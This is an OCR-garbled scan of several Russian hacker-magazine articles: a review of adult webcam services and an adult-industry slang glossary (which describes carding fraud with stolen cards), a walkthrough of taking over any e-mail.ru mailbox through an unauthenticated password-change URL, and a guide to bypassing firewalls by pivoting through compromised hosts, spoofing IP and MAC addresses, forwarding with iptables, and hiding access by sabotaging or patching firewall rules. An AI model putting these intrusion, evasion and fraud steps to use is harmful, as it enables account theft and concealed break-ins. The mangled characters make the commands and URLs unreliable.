а Тогит.рогпотосІеІ.ги. „Русские на ІТгіепбз". Названием все 
сказано... 

а ѵѵѵѵѵѵ.агіиІІ-ѵѵеЬсат-Тад.сот. Добротный обзор сервисов. 
Увы, лишь на английском. 




ку хитры, устраивают празднования, карна- 
валы, когда модели и дроны одеваются в оп- 
ределенном стиле (ковбои, зайцы, черти и 
т.п.). Моделям платят 40% от доходов. Сна- 
чала ставка всех моделей - $0,98 в минуту. 
Потом им выставляют рейтинг по пятизвез- 
дочной системе: примы получают пятерки и 
могут вынимать до $4,80 в минуту. Так что 
красивым, артистичным девочкам здесь луч- 
ше потратить некоторое время на подъем 
рейтинга, чтобы потом зарабатывать хоро- 
шие деньги. Платят только чековыми пере- 
водами, дважды в месяц, если накопилось 
больше 50 баксов. В целом, сервис удоб- 
ный. Единственный минус - регистрация мо- 
жет занять около недели. 

Л ШШЕСШШМ 

Сервис в основном занимается продажей 
видеозаписей местных моделей, число ко- 
торых достигает 400! В опііпе висит сравни- 
тельно мало, так что конкуренция невелика, 
хотя и приток потенциальных клиентов 
сильно уступает аналогам. Представлены 
действительно все ниши - геи и транссексу- 
алы в их числе. Платят 50% от заработка 
перед камерой и по 25% с продаж твоих 
мувиков. Процент за приваты поднимается 
до 75, если клиент был приведен тобой же. 
За сводничество, когда ты приводишь мо- 
дель в сервис, платят 5% от ее заработков. 
В отличие от ряда других сервисов, эти ре- 
бята полностью редиректят трафик через 
свою систему, что снижает нагрузку на твой 
канал. Особенно это полезно при частых 
зеші приватах, которые поедают много тра- 
фика. Мы старались работать именно с по- 
добными сервисами, чтобы рассчитанных 
96К на модель хватало сполна. Сайт зато- 
чен под говорящих на немецком, многие 
модели неплохо знают язык. Так что есть 
смысл подрубить сюда всех девчонок, вла- 



деющих нужными позна- 
ниями или гармонично 
кооперирующихся с опе- 
ратором-переводчиком. 
Итого, отличный сервис 
для продажи видео, но 
работать тут в онлайне - 
быть белой вороной. Па- 
раллельно будут трудить- 
ся лишь несколько моде- 
лей. Платят через РауРаІ 
(РауРаІ.сот) или чеком 
дважды в месяц. Обе оп- 
ции, увы, не самые ком- 
фортные для начинающе- 
го покорителя адульта из 
ВП :(. Многие дроны платят диалером, 
столь популярным в Германии, стране-пос- 
тавщике многих местных клиентов. Вла- 
дельцы диала забирают до 35% от суммы 
транзакции. Так что есть все шансы полу- 
чить значительно меньше денег, чем плани- 
ровалось. Маленький бонус для любителей 
поглазеть: с аккаунта модели (студии) отк- 
рывается бесплатный доступ к мувикам дру- 
гих местных "артистов". 

^ кредит или аванс? 

Ряд сервисов предоставляет возможность 
самому выставлять цены на приваты и "ну- 
ды". Обычно приваты оценивают в $2-5, за 
просмотр двух девок сразу - в 1,5-2 раза 
больше. Большинство сервисов предлага- 
ют различные способы оплаты клиентом 
твоих услуг. Можно биллить клиента поми- 
нутно, выставляя счет после окончания се- 
анса. А можно предварительно продавать 
ему минутные юниты ("токены") - купил, 
скажем, 20 юнитов, и можешь 20 минут 
глазеть на девушку своей мечты. Второй 
вариант обычно снижает продажи, ведь 
дрочер возвращается на землю и понимает 
при обнулении счета, что отбирает у своих 
детей молоко, спуская семейный общак. 
Однако этот вариант уменьшает вероят- 
ность чарджбэка (сГіагдеЬаск), когда кли- 
ент отказывается от выставленного счета, 
заявляя, что не знал о платности чата (или 
его высокой цене), либо остался неудов- 
летворен. Понятно, что при грамотной по- 
лней, которую следует подготовить вместе 
с грамотным юристом, дрочеру придется 
заплатить. Однако частые чарджбэки не 
понравятся биллингу. Да и разборки с дро- 
нами, доказательство своей правоты - убий- 
ство нервных клеток, которые не восстанав- 
ливаются даже при просмотре отличной 
статистики по продажам. □ЕІ 






ГЕНЕРАЛЬНЫЙ ПАР I НЕР 
ОШИПИЙШЭГО КОМИТЕТА РОССИИ 
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П огда я только начинал заниматься агіиІНизнесом, серьезной проблемой для меня было то обстоятельство, что коллеги по цеху 
использовали очень много специального сленга, перевести который с помощью ПРОМТа, как ты понимаешь, было затруднительно. 
Поэтому я двинул на знаменитый "КруТОП" (шѵш.сгиіор.пи), где начал было задавать детские вопросы, за что меня довольно 
оперативно забанили. Чтобы с тобой такого не произошло, и ты уверенно чувствовал себя при общении с акулами ХХХ-индустрии, 
я приготовил для тебя целый словарь абиК-спенга. Наслаждайся! 



пдупт-сповпрь для ПОРНУШНИКП 



л \Л/М - "АсІиІІ \Л/еЬ МазГег ", 

специалист по созданию 
и продвижению порнопроектов. 

а Адульт - "асІиІГ, искаженное 
слово, обозначающее порноспеци- 
фику проекта/рода занятий. Пра- 
вильное произношение - "эдалт". 

а АѴ5 (АВС) - "Аде ѴегіТісаІіоп 

Зегѵісе". Достаточно хитрая система "от- 
мывки" клиентов - разделения на плате- 
жеспособных и бомжей, у которых нет кре- 
дитки, чтобы оплатить порнуху. Все прохо- 
дит под прикрытием проверки твоего воз- 
раста: если есть СС, значит, и 18 уже стук- 
нуло. В защищенной с помощью АѴ5 зоне 
сайта находится целая куча всяческих фо- 
ток и мувиков, после просмотра которых у 
клиента появляется желание получить пол- 
ноценный доступ к сайту за деньги. С этого 
и срубается основная часть лавэ. Простые 
смертные зарабатывают на привлечении 
новых клиентов в АВСы. 

а Тумба, тумбинашка - "ІНитЬпаіІ", ма- 
ленькая картинка, клик по которой дает 
изображение более высокого качества. 




а ТСР (ТГП) - "ШитЬпаіІ даііегу ро$Г. 

Ежедневно обновляемая подборка линков на 
бесплатные галеры. Хороший способ повы- 
сить трафик и продажи ресурса. 

а Вайер - ѵѵіге-транзакция, денежный пере- 
вод на счет получателя. Практикуется как наи- 
более удобная форма оплаты у цивилизован- 
ных биллингов (не тех, что отдают барыши на 
станциях метро ;)) и спонсоров. Вайером же 
переводят заработанное цивилизованным лю- 
дям (у которых есть свой банковский счет для 
перевода). Иногда для транзакций приходится 
открывать счета в западных банках. Но если 
тебя трижды судили за публичную мастурба- 
цию на памятник "Рабочий и колхозница", 
и тебе все отказывают в открытии счета, име- 
ет смысл обратиться в западную юридическую 
контору, которая и решит твою проблему. 
Осторожнее со счетами, оформленными на 
"мертвых душ": как долго такой счет будет 
оставаться исключительно твоим - неизвестно. 

а Дрон - он же дрочер, мастурбатор, потен- 
циальный клиент индустрии. Клиент очень 
не любит, когда его называют "дроном". Не 
следует никогда упоминать его онаНизмен- 
ный род деятельности в рекламе и непосре- 
дственно на сайте :). 



а Платник - платный ресурс. Понятно, что 
альтруистов в этом бизнесе нет. Однако, для 
подгонки клиентов к покупке доступа, необхо- 
димо расположить несколько бесплатных сай- 
тов (фришников) - дабы разогреть интерес. 

а СР - "сМіісі рогп", детское порно. Одна из 
наиболее рисковых ниш индустрии, но при- 
носящая ощутимый доход. Уголовно наказуе- 
мо. Похабно, отвратительно и неэтично. 

N 0 сЫІб рогп! 

а Отмывка - способ расчленения посетите- 
лей на платежеспособных и халявщиков. 
АѴ5'ы признаны одним из наиболее эффек- 
тивных приспособлений для этого дела. Лю- 
дей на лавэ - кормить галерами и рекламой 
для покупочного разогрева. Халявщиков - 
забрасывать десятками попапов и баннеров, 
снимая пенки со спонсоров, платящих за по- 
казы и приведенных визитеров. 

а Сабмитить - от "зиЬтіТ", отправлять. 
Регистрироваться во всем и вся для раскрут- 
ки ресурса и повышения продаж. Чаще ис- 
пользуется в контексте ТГП - регистрировать 
свою галерею на популярном ресурсе. Для 
автоматической регистрации во всевозмож- 
ных системах используют специальный софт 




СПОВПРЬ НПЧИНПЮЩЕГО ОПУПТ-ОПИГОРХО 



- "сабмитеры". С помощью этой программы 
одну галерею можно всего за несколько ми- 
нут зарегать в сотнях ТОР! 

л Вбивка - термин не АѴѴМ'овский, скорее, 
кардерский. Заводится некий ресурс с шаб- 
лонным дизайном и украденным контентом, 
подключается к лояльному биллингу. Далее 
сам владелец начинает регистрироваться у 
себя же на сайте, "вбивая" номера чужих 
кредиток. В результате человек сам у себя 
покупает порнуху, причем за чужие деньги ;), 
Это занятие имеет довольно широкое при- 
менение, в результате чего у буржуев сло- 
жилось мнение, что чуть ли не каждый рос- 
сийский АѴѴМ - мошенник. 



первые места для своих 
собственных проектов. 
Регистрация в топах дает 
ощутимую прибавку к 
трафику сайта. 

л Порно- реалити - лю- 
бители нелегального ПО 



л (М (сиджей) - "сігсіе іегк", бесконеч- 
ный клик. Делается сайт, с виду обычный, в 
деле же часть имеющихся фоток и мувиков 
ссылаются на другие сайты. Ты нажимаешь 
на тумбу, ожидая всех прелестей в увели- 
ченном масштабе, а вместо этого попадаешь 
на другой сайт - платник либо аналогичный 
СД Большинство грамотных сиджеев имеют 
тонко настроенную систему учета трафика. 
Регистрируясь в СЭ, ты становишься "трей- 
дером", система подсчитывает, сколько юзе- 
ров ты привел на чужой сайт. Чем больше 
"входящий" трафик от тебя, тем больше тум- 
бочек на тебя будет залинковано, работает 
как типичная система обмена баннерами. 
Продуктивность Ш - наблюдение за тем, 
насколько качественного кликера ты привел, 
кликнет ли он по имеющимся картинкам. 
Например, 7 из 10 визитеров кликнули по 
имеющимся пиксам, значит, твоя продуктив- 
ность - 70%. Разумеется, делать сайт только 
с подставными линками не имеет смысла, 
т.к. на него очень быстро забьют юзеры. По- 
этому часть тумбочек должна все-таки ссы- 
латься на реальные файлы, чтобы удержи- 
вать и радовать дрочера. 

а ТОР (ТОП) - термин, знакомый зрителю 
музыкального телеканала. ТОП - рейтинг 
адульт-сайтов, формируемый по принципу: 
чем больше пригнал трафика на топ, тем вы- 
ше твой рейтинг, твое место в топе. Прямо 
как в музыкальной теме - больше набашлял, 
больше очков получил, выше твое место в 
чарте. Сайт оценивается вовсе не по качест- 
ву содержимого - объему рекламы и ценам 
на мемберство. Место в рейтинге можно 
также купить, часто хозяева топов оставляют 
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хорошо помнят попапы и 
баннеры сайта Вапдбиз 
на страницах ряда сгаск- 
архивов, вроде знамени- 
того сгаскз.ат. Вапдбиз - 
история про разврат, 
творимый молодежью в 
рейсовом автобусе. Пор- 
но-реалити - фото- и ви- 
деоописание реальных 
сексуальных событий, 
происходящих с реальны- 
ми людьми, вовсе не 

специальными порномоделями. Это своего 
рода "Последний герой", только участники 
шоу здесь не лазают по деревьям, а занима- 
ются сексом ;). Большой плюс таких проек- 
тов - долгосрочные покупатели, которые го- 
товы стабильно платить в течение полугода, 
чтобы быть в курсе событий, происходящих 
с героями. Желание клиента - закон, и часто 
промоутеры порно-реалити формируют но- 
вые серии на базе пожеланий и даже целых 
сценариев юзера. Это одна из наиболее 
продаваемых сегодня ниш бизнеса. 

^Звонилка (сііаіег). Софт для соединения 
с вечно занятым пулом провайдера тут не 
причем. Пользователи интернета, наслышан- 
ные о проделках кардеров, боятся доверить 
кому-либо номер своей драгоценной СС. 
Страх перед хакерами и желание заполучить 
анонимность заставляет искать иных спосо- 
бов оплаты за усладу глаз и других частей 
тела - например, с помощью телефонных 
счетов. Клиент запускает специальную прог- 
рамму, которая прозванивается по опреде- 
ленному телефону, соединение с которым 
тарифицируется согласно выбранному поль- 
зователем тарифному плану. 

а РНС - "Ргее НозіесІ СаІІегіез", продукт 
человеческой лени. Сервис РНС предостав- 
ляет место под галерею, контент и мини- 
мальное промо, размещая на сайте рекламу. 
Решаются все технические вопросы, тебе 
лишь остается продвигать свой сайт. Фишка 

заключается еще в 

том, что сервис раз- 
мещает рекламу, 
точно вписывающу- 
юся в тему галереи. 
Так, на фетиш-гале- 
ре будет помещен 
баннер фетиш-плат- 
ника. Ведь продать 
трансвеститов лю- 
бителю лолит - неп- 
ростое дело ;). 
чей 
№ 
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строгую политику отбора сайтов, масса ре- 
сурсов оказывается забанена за нарушения. 
Большинство крупных каталогов занимаются 
проверкой и тетбег-зоны твоего сайта, тре- 
буя выделения в нее доступа. 

а Яесір - "гесіргосаі Ііпк", обратный линк. 
За то, что тебя добавили в линклист, ты обя- 
зуешься поместить на сайте обратную ссыл- 
ку - на каталог. Большинство линклистов 
требуют, чтобы гесір был наверху страницы, 
на видном месте, причем чтобы рядом бан- 
неров не было. Такая вот "дашь на дашь" 
система. При грамотном подходе, членство 
в линклистах дает ощутимую прибавку к тра- 
фику сайта, так что можно и пойти на опре- 
деленные уступки. 

Каждый день дарит по новому термину XXX- 
индустрии - меняются правила игры, техно- 
логии, желания пользователей. Так до 2002 
никто и не знал о геаіііу рогпо, РНС также 
пришли в наш лексикон совсем недавно. 
Чтобы быть в теме, приходится регулярно 
читать тематические форумы и ресурсы, вы- 
тягивать секреты из отцов бизнеса. Так что 
если вдруг у тебя возникнет какой-то вопрос 
по адульт-сленгу - пиши на Иаск- 
(ач@геаІ.хакер.гіі. Скоро ты прочитаешь в Наск- 
РАО дополнительную расшифровку ряда 
распространенных эдалт-понятий. ~Т 

ІІІІІІІ ІІІІІІ 




Большинство банков предоставляют своим клиентам возможность управлять 
собственными счетами по инету 



Линклист - широ- 
кая подборка лин- 
ков, разбитых по те 
мам, каталогизиро- 
ванных. Несмотря 
на свою простоту, 
линклисты ведут 
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П авно пи ты спышап о реальных дырах в почтовых системах? Я не имею в виду СЗЗ-уязвимости, использование которых часто 
вызывает затруднения: не все пользователи ставлт тапочку напротив "сохранить пароль", а перехватить чужую сессию не так-то 
просто. Да что там, многие юзеры вообще не используют ѵѵеЬ-интерфейс дпн проверки почты. В этой статье л расскажу о том, как 
можно получить доступ к любому пщику популярного российского почтового сервиса Е-МаіІ.ги. 




большой радость от лочтовой службы 



^ как все начиналось 

дин неизвестный парень (на- 
зовем его Петр), которого 
часто видели пьяным на до- 
машних вечеринках пользова- 
телей "компота", однажды 
вспомнил о том, как 3 года 
назад другой хакер по асе 
предлагал за деньги мыльни- 
ки службы е-шаіі.ги. На долгие уговоры на- 
мекнуть на баг он отвечал отказом. Затем 
просто пропал. Уж очень деятельный был 
парень. Через 2 года на форуме сапіегріапеі.сс 
услуга была представлена жирной строкой в 
разделе, посвященном хакингу. Так как у 
Петра был аккаунт на том же 
е-таіі.ш, ему стало обидно, что его ящики 
могут читать все кому не лень. Кроме того, 
наш герой и сам был парень не промах: 
ему очень хотелось почитать чужую почту 
и увести красивый ісц иіп. Под музыку 
"МетЬегз о! МауОау - Зопіс Етріге" Петро 
начал поверхностное исследование сервера. 
Одно он знал точно: в форумах не было ни 
слова о краже всей базы е-таіі.ги, что облег- 
чало задачу - ведь тогда отпадал вариант 
взлома МуЗцІ или, скажем, Огасіе базы. 




А НІШЕПКОВЫЙ ПУТЬ 

Значит, дело в скриптах. Их расширение 
(.611, .ехе) наводит страх на обычных юзеров, 
но взломщик знал, что это, скорее всего, 
обычные сценарии для ССІ - просто так 
настроен ѵѵеб-сервер. Когда же Петя ввел 
заведомо неверные сведения в диалоге вос- 
становления пароля, выскочило следующее 



сообщение: "Саппоі ореп Тііе 
’/ѵѵеЬтаіІ/пеІаиШ/ргоІіІез/е- 
таіі ги/и кИ/поІехізІ@е-таіІ ги/поіехізі.сіаі' 
(N 0 зисб біе ог бігесіогу)" (рис.2). Конечно, 
ничего сверхъестественного не произошло: 
скрипт просто ругался, что не обнаружил 
файла поіехізі.баі - поіехізі в данном случае 
это имя несуществующего аккаунта, к кото- 
рому мы пытаемся "вспомнить пароль". По- 
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Рис.2. Пароли юзеров лежат в .Раі файлах. Ну не маразм ли? 
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-1 НрЬнИпж 



Теперь о защите пользователей этого серви- 
са. Ни Петр, ни кто-либо из его воображае- 
мых друзей так и не придумали, как же за- 
щититься от этого произвола. Помочь поль- 
зователям Е-таіІ.ш могут только грамотные 
ѵѵеб-кодеры, которые, для начала, должны 
попросту добавить проверку старого пароля 
при попытке сменить его. А пока решение 
только одно - использовать другой почтовый 
сервис. Хотя, учитывая статьи в предыдущих 
номерах X, складывается впечатление, что 
безопасных служб не осталось вовсе :). 

Что ж, в такое время мы живем. 

А СКОЛЬКО ВЕШРТЬ? 




а Если бы хакера, 
нашедшего багу, 
задержали в Китае, 
ему грозило бы 
около 120 млн. лет 
тюрьмы. 



Рис.З. Взломщику очень хотелось читать файлы при помощи важного скрипта 



лученная информация была бы полезна, ес- 
ли бы мы могли работать с файловой систе- 
мой, но такой возможности пока не было. 
Судорожно нажимая на все ссылки, Петя на- 
шел-таки скрипт, который принимал в каче- 
стве одного из параметров имя некоторого 
файла. Но использовать эту брешь не полу- 
чилось, поскольку программа не выводила 
пользователю ни строчки из подключаемого 
файла. Что же делать дальше? Петя уже бы- 
ло отчаялся, как внезапно его осенило! Он 
вспомнил про значение параметра стб 
скрипта, отвечающего за восстановление па- 
роля - "раззѵѵб4". Логично, если стб может 
принимать значение "раззѵѵб4", то, по-види- 
мому, сюда можно подставить и "раззѵѵбЗ", 
"раззѵѵсі2", "раззѵѵсіі"! Так и получилось. 

А ЗВЕРСКИ БПНШІЫІПЯ ОШИБКИ 

Суть баги ясна даже пятикласснику. Если 
раззѵѵб4 отвечал за восстановление пароля, 
то раззѵѵсіі отвечает за его замену. Получа- 
ется, если скрипту передается параметр 
стб=раззѵѵб1 , то он производит смену па- 
роля. Интересно, а старый пассворд он при 
этом запрашивает? Оказалось, что нет! То 
есть строка Іі(1р://йии.е- 

шаіІ.ги/5сгірІ$/пеІаиІІі.ехе?ст(І=ра$5исІ18іпате=псгооЦѵ!іо 
5і=ѵѵѵѵѵѵ.е-таіІ.ги&раз5=псгоо1;8ігера55=псгооІ: устанав- 
ливает пароль "псгооГ на ящик псгоо!@е- 
таіі.ги. Думаю, понятно, что переменная 
пате - логин, ѵбозі - домен, разз - пароль и 
геразз - подтверждение пароля. Названия 
параметров разз и геразз Петр получил, по- 
рывшись в настройках специально созданно- 
го для опытов ящика. Кстати, интересный 
факт: если менять пароль у собственного ак- 
каунта при помощи предоставляемого ин- 
терфейса, используется скрипт пеіаийі.біі, а 
не пеіаиіб.ехе. Получается, что этот баг при- 
сутствует только из-за невнимательности и 
забывчивости программистов, которые при 
написании пе&иШ.ехе описали блок кода, 
который выполняется, когда стб=раззѵѵб1 . 
Причем внешних ссылок, которые этот блок 
вызывают, нет. Если бы программисты наз- 
вали его "ркзсфсЫ", то до этой баги никто и 
никогда бы не докопался. 




Теперь остается лишь зайти под новыми 
реквизитами в ящик и почитать в нормаль- 
ном режиме содержимое. Только не забы- 
вай, что выискивать в своей адресной книге 
знакомых с адресом е-таіі.ги и читать их 
почту запрещено законом, и, разумеется, ни 
к чему такому ни автор статьи, ни редакция 
журнала тебя не склоняют. Само собой, при 
помощи этой уязвимости можно получить 
доступ к ящикам и в других доменах: 
@зирегтаіІ.ги, @ѵіртаіІ.ги, @е-таіІз.ги и 
т.д. Полный список уязвимых адресов ты 
найдешь на сайте е-таіі.ги. Хочу сразу огор- 
чить: ящики вроде абтіп, гооі и т.п. не явля- 
ются аккаунтами админов. Зато в них лежит 
немереное количество спама и писем поль- 
зователей с просьбой помочь: "не могу вой- 
ти в свой ящик" :-). Вот тебе и замкнутый 
круг. Мылом админа является ящик на 
@атебіа.ги, куда Петр послал сообщение: 
"Почему любой перец может читать почту 
юзеров е-таіі.ги? Это разве нормально?" 

Но админ пропустил это мимо ушей, поэто- 
му баг работает до сих пор. 

А как защититься? 

Как ты только что убедился, при взломе ин- 
тернет-систем не всегда следует заморачи- 
ваться сложными алгоритмами - часто реше- 
ние находится прямо под носом. 



Я хотел бы сразу тебя предостеречь: не сле- 
дует применять сведения, полученные из 
этой статьи, на практике в корыстных целях. 
Во-первых, это противоречит законодатель- 
ству РФ, а во-вторых, это крайне неэтично. 
Представь, что твою собственную почту мо- 
гут прочитать тысячи человек - правда, неп- 
риятно? На самом деле, статья очень наг- 
лядно показывает, что бывает, когда интер- 
нет-вору необходимо взломать конкретный 
ящик, а вместо этого угрозе подвергается 
вся почтовая система с миллионом пользо- 
вателей. Тем более что в рассматриваемом 
случае был задействован только браузер + 
совсем капелька мозгов (и заметь: никаких 
приемов с Х55, подразумевающих участие 
атакуемого!). Хотелось бы также обратиться 
к разработчикам ѵѵеб-систем. Друзья! Давай- 
те жить дружно! Поменьше ходите в клубы, 
поменьше пейте пива - сидите над кодом 
ночами и постоянно думайте о миллионах 
ваших пользователей и деньгах, которые вы 
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пособов защитить свой сервер иного. Однако каждый из них требует особого внимания: необходимо постоянно изучать логи, 
обновлять софт, читать багтрак... С другой стороны, можно просто поставить файрвол и идти пить пиво. Ведь даже слабо 
настроенный брандмауэр способен отпугнуть любого скрипткиддиса. Но не такого матерого хакера, как ты :). 




МЕТОДЫ ОБХОДП ФПЙРВОПОВ 



л 



^ постановка задачи 

К ак ты понял, мы обсудим 

несколько эффективных ме- 
тодов обхода файрвола. Они 
тебе, несомненно, пригодят- 
ся в поисках изъяна в наст- 
ройках твоего сетевого экра- 
на (а не для того чтобы бесп- 
репятственно ломать невин- 
ных провайдеров :)). Все способы опробо- 
ваны лично мной и зарекомендовали себя 
очень хорошо (\т/ - прим. ред.). Начнем с 
простого - назови мне главную функцию лю- 
бого файрвола. Правильно! Любой брандма- 
уэр ориентирован на фильтрацию пакетов, 
приходящих на определенный сетевой ин- 
терфейс. Обрубание пакетов происходит на 
основании так называемых правил, состав- 
ленных системным администратором. Глав- 
ная задача для тебя - обойти эти самые 
правила, тогда брандмауэру будет не к чему 
прикопаться. 



Л ПОИСК ДОСТОВЕРНОЙ 
ИПШИНЬІ 

Представь ситуацию: ты соединяешься с 
22 портом машины, к которой имеешь пол- 
ноценный доступ, но жестокий файрвол 
блокирует соединение. Недалекие люди 



сразу забивают на такую тачку, мотивируя 
это тем, что ничего другого не остается. 
Как же они ошибаются :). В данном случае 
необходимо просканировать на порты саб- 
нет, в котором находится машина. Если 
подсеть не особо защищена, ты увидишь 
множество серверов с открытыми портами. 
Вот тут от тебя и потребуется настоящее 



хакерское мастерство. Каким-либо спосо- 
бом (неважно каким, я уже сказал, что не 
собираюсь учить тебя ломать невинные 
серверы ;)) ты должен попасть внутрь ма- 
шины. Например, если тебе действительно 
известен 55Н-аккаунт на ІІпіх-тачку, куда 
не пускает файрвол, то есть вероятность 
совпадения логина и пароля на другой 






сервер из этого сабнета. Если же пароль 
не совпадает, ничего не остается, как щу- 
пать серверы на известные баги. Возмож- 
но, удача тебе улыбнется, и администра- 
тор не заметит твоих шалостей :). 

Итак, ты внутри. Повторюсь, что для дан- 
ного метода желательно поиметь именно 
шелл на ІІпіх-сервере. Теперь ты можешь 
попробовать подключиться на защищенную 
файрволом машину с только что взломан- 
ной: ззб ѵійіт.сот. В большинстве случаев 
соединение не будет отфильтровано, ведь 
ты подключаешься к защищенному серверу 
из доверенной сети. Таким вот образом из- 
за ошибки на одной машине ставится под 
угрозу безопасность всей сети. 



Плюсы: 

Несложная реализация. Достаточно лишь 
найти уязвимую машину в подсети с ломае- 
мым сервером, и файрвол тебя пропустит. 

Низкие привилегии. Для обхода совсем 
не обязательно получать рутовые права. 



Минусы: 

О Низкая вероятность. Если админ не дурак, 
он проставит АССЕРТ не на весь сабнет, 
а только на избранные машины. Считай, 
что тебе крупно повезло в случае, когда ты 
забрался на достоверный сервер. 

О Высокая опасность. Когда администратор 
выполнит Іазі, он может увидеть подозритель- 
ные входы на его машину. Тут все зависит 
либо от твоей сообразительности, либо от Ю 
админа. 



кок не запалить себя? 




Л МЕНЯЕМ РЕКВИЗИТЫ 

Допустим, что обойти файрвол первым спо- 
собом не получается - даже поломанную ма- 
шинку из доверенной подсети не пускают на 
нужный сервис. В этом случае необходимо 
прибегнуть к другому методу. Суть его зак- 
лючается в подмене адреса сетевого интер- 
фейса. Но это сработает лишь в случае сети 
на хабах, где нет подвязки ІР к МАС. Но 
прежде чем менять адрес, необходимо уз- 
нать ІР машины, которую файрвол пропустит 
как родную. В этом тебе поможет знамени- 
тый сканер птар: используя опции -5 и -е 
ты можешь подменить ІР-адрес и увидеть 
состояние порта. В случае когда на адрес 
внесено исключающее правило, ты заме- 
тишь статус ореп. Иначе сканер покажет те- 
бе фильтрованный порт. Помни, что из-за 
архитектуры ІІпіх-систем, для проведения 
такого спуфинга тебе потребуются рутовые 
права. В конце концов, ты найдешь досто- 
верный адрес, на который тебе следует пе- 
реориентировать интерфейс. Замена рекви- 
зита - очень рискованное действие, при 
ошибке ты потеряешь сервер навсегда ;). 
Исключение составляет лишь случай, когда 



машина имеет более одного внешнего адре- 
са (при потере одного адаптера ты можешь 
зайти через другой). 

После этой махинации попробуй соеди- 
ниться с сервером, спрятавшимся за файр- 
волом. Пустили? Замечательно! Если же 
опять ничего не получилось - думай дальше. 
Причин может быть две: либо сетка построе- 
на на умных свитчах, либо файрвол подвязан 
не только на ІР, но и на МАС-адрес. Мак оп- 
ределить проблематично, так как достовер- 
ная машина находится в офлайне. Поэтому 
меняй ІР на прежнее значение и жди вклю- 
чения компьютера. Когда дождешься - узна- 
вай его МАС и жди выключения :). После 
всего этого ты сможешь заменить как ІР, так 
и МАС-адрес. Я обрисовал общее решение, 
вполне возможно, что ты найдешь заветный 
МАС в статической агр-таблице, либо 
ббсрб.сопГ Тут все зависит от тебя, но мой 
алгоритм наверняка прокатит в любой ситуа- 
ции. Смена ІР-адреса в разных системах вы- 
полняется немного по-разному, в случае 
І_іпих для этого следует выполнить команду: 
іТсопТід еЙіО ір-асісігезз. Для смены МАС-ад- 
реса набери ІТсопТід еШО сісм/п; іТсопТід еМ 
бѵѵасісіг МАС-абсІг; йсопбд еМ ир. Еще раз 
предупреждаю, что ты сильно рискуешь при 
проведении подобных операций. Однако кто 
не рискует, тот не пьет шампанского :). 




Е сли ты обошел 
файрвол и по- 
пал на защищен- 
ный сервер, у тебя 
возникнет страст- 
ное желание поп- 
равить правила 
файрвола, чтобы 
твой ІР пускали 
всегда и везде :). 

Но, выполнив дан- 
ную команду, ты 
рискуешь тем, что 
админ быстро заметит твое пребывание (администраторы 
очень часто любят пересматривать правила своих файрволов). 
Чтобы не запалить себя, руководствуйся нижеследующими по- 
лезными советами: 



О. Лучше удалить, чем добавить. Если файрвол содержит боль- 
ше сотни сложных рулесов, и после удаления одного (максимум 
двух) ты сможешь получить постоянный доступ к серверу - уда- 
ли их. Есть вероятность, что этот поступок сойдет тебе с рук :). 

в. Удаляй грамотно. Чтобы деактивировать правило, создай в 
нем опечатку. Пропусти жизненно важную букву, поставь лиш- 
нее тире. Главное, чтобы смотрелось правдиво и не бросалось 
в глаза. 



Ѳ. Не брезгуй кодом. Когда в файрволе с десяток рулесов, а 
доступ поиметь охота, ничего не остается, как модифицировать 
исходный код брандмауэра. Найди место, где распечатываются 
правила, и скрой вывод своих. В этом случае до ближайшего ап- 
дейта файрвола твое пребывание останется в секрете. 



Плюсы: 

Предварительный поиск сервера. 

Если сканирование птар'ом удалось, то ты 
наверняка знаешь, что после смены реквизитов 
файрвол не отфильтрует твое соединение. 



Минусы: 

О Большой риск при смене адресов. 

В случае если что-то пойдет не так, 
ты потеряешь сервер. 

О Необходимость офлайна достоверной 
машины. Когда сервер включен, ІР-адрес 
сменить невозможно, поэтому данный метод 
прокатит, только если компьютер выступает 
в роли рабочей станции. 



^ Ф0Р8ЛРДИНГППКЕТ0В 

Предположим, что первый или второй метод 
обхода межсетевого экрана сработал. Но 
каждый раз входить на сервак через проме- 
жуточную машину слишком рискованно. Го- 
раздо проще придумать какое-нибудь реше- 
ние, позволяющее иметь доступ к серверу с 
твоего домашнего компьютера. Это легко 
сделать посредством форвардинга пакетов. 
Метод довольно прост и не требует дополни- 
тельных объяснений, поэтому рассмотрим 
конкретный пример, когда форвардинг может 
быть полезен. На защищенной файрволом 
машине установлен терминальный сервис, с 
которым хотелось бы соединиться. Промежу- 
точный сервер вертится на Ібпих и имеет ак- 




л Если ты знаешь 
другие полезные 
способы обхода 
файрволов - рас- 
скажи о них мне, 
лучшие советы 
мы опубликуем 
в журнале. 

-€и 

л Не стоит забы- 
вать, что статья 
дана лишь для оз- 
накомления и ор- 
ганизации пра- 
вильной защиты с 
твоей стороны. За 
применение мате- 
риала в незаконных 
целях автор и ре- 
дакция ответствен- 
ности не несут. 

■Ж- 

л На нашем СО ты 
найдешь софт, 
позволяющий му- 
тить форвардинг 
(НТТРогі, сіаіаріре, 
зоскз и здиісі- 
ргоху), а также 
последнюю версию 
скрипта ССМеІпеІ 
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Метод ядерного форвардинга в действии 



тивный файрвол ірІаЫез. Если ситуация по- 
хожая, то самое простое, что можно сделать 
- вставить правило в цепочку РЯЕВ01ЛІМ0 
таблицы паГ, что фактически подменит адрес 
назначения у пришедшего пакета. Для тех, 
кто не понял, объясню еще раз: когда ты бу- 
дешь коннектиться на службу терминалов, то 
заюзаешь ІР-адрес промежуточного сервера, 
ядерный модуль которого быстро сменит ад- 
рес назначения на желаемый. В итоге пакет 
будет доставлен в нужном направлении и не 
срежется брандмауэром. На практике тебе 
придется выполнить всего одну команду: ірі- 
аЫез -I паб -А РВЕВОІЛІМС -5 твой ір -р Гер - 
-брогі 3389 ОИАТ -Іо-безГіпаГіоп нуж- 
ный ір, где порт 3389 отвечает за службу 
терминалов. Этот прием достаточно универ- 






сален и позволяет форвардить любые паке- 
ты, в том числе ІЮР и 

Плюсы: 

Универсальность. Как я уже сказал, 
прием позволяет перенаправить практически 
любой пакет. 

Простота. Не нужно ничего заменять 
и сканировать - достаточно выполнить лишь 
одну команду. 



Минусы: 

О Наличие дополнительных привилегий. 

Для настройки ірГаЫез необходим рут. 

О Большой риск. Если админ увидит левое 
правило в файрволе, то пощады не жди. 

А ПОВЕРЬСЯ СОФТ»! 

В определенных случаях организовать ЭМАТ 
невозможно. Это может объясняться отсут- 
ствием прав либо недостаточной функцио- 
нальностью операционной системы. Тем не 
менее, организовать форвардинг вполне ре- 
ально с помощью различных программ. Их 
мы сейчас и рассмотрим. Первая и самая 
популярная программа - ЭаІаРіре. Тулза пос- 
тавляется в виде исходника на С. При запус- 
ке ей передаются три параметра - локаль- 
ный порт, удаленный хост и удаленный порт. 
Об ее назначении ты уже догадался - прог- 
